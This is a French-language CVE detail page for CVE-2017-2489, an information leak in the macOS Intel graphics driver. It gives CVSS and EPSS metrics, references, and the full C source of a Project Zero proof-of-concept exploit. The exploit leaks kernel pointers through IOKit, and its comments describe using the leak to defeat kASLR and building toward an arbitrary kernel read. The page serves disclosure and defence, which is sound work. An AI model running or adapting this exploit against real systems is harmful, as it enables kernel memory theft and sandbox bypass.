CVE-2017-2489 : Détail

CVE-2017-2489

5.5
/
Moyen
A01-Broken Access Control
1.65%V4
Local
2017-04-01
23h36 +00:00
2017-08-15
07h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

An issue was discovered in certain Apple products. macOS before 10.12.4 is affected. The issue involves the "Intel Graphics Driver" component. It allows attackers to obtain sensitive information from kernel memory via a crafted app.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 4.3 AV:N/AC:M/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 41798

Date de publication : 2017-04-03 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1069 MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability. This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it uses to index an array of pointers with no bounds checking: AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *) __text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace __text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace ... __text:000000000002A3B8 mov eax, [rbx] ; read dword __text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object __text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0 __text:000000000002A3C9 jz short ___fail __text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh __text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes __text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace __text:000000000002A3DA call _memcpy For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable pointer there which will allow us to read back vtable contents and defeat kASLR. With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext HMAC key and forge sandbox extensions if it still works like that. tested on MacOS Sierra 10.12.2 (16C67) */ // ianbeer // build: clang -o capri_mem capri_mem.c -framework IOKit #if 0 MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability. This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it uses to index an array of pointers with no bounds checking: AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *) __text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace __text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace ... __text:000000000002A3B8 mov eax, [rbx] ; read dword __text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object __text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0 __text:000000000002A3C9 jz short ___fail __text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh __text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes __text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace __text:000000000002A3DA call _memcpy For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable pointer there which will allow us to read back vtable contents and defeat kASLR. With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext HMAC key and forge sandbox extensions if it still works like that. tested on MacOS Sierra 10.12.2 (16C67) #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach_error.h> #include <IOKit/IOKitLib.h> int main(int argc, char** argv){ kern_return_t err; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl")); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 0, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 4096; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0x1d8; for (int step = 1; step < 1000; step++) { memset(inputStruct, 0, inputStructCnt); *(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8)); outputStructCnt = 4096; memset(outputStruct, 0, outputStructCnt); err = IOConnectCallMethod( conn, 0x710, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err == KERN_SUCCESS) { break; } printf("retrying 0x2000 up - %s\n", mach_error_string(err)); } uint64_t* leaked = (uint64_t*)(outputStruct+3); for (int i = 0; i < 0x1d8/8; i++) { printf("%016llx\n", leaked[i]); } return 0; }

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.12.3

Références

http://www.securityfocus.com/bid/97300
Tags : vdb-entry, x_refsource_BID
https://support.apple.com/HT207615
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/41798/
Tags : exploit, x_refsource_EXPLOIT-DB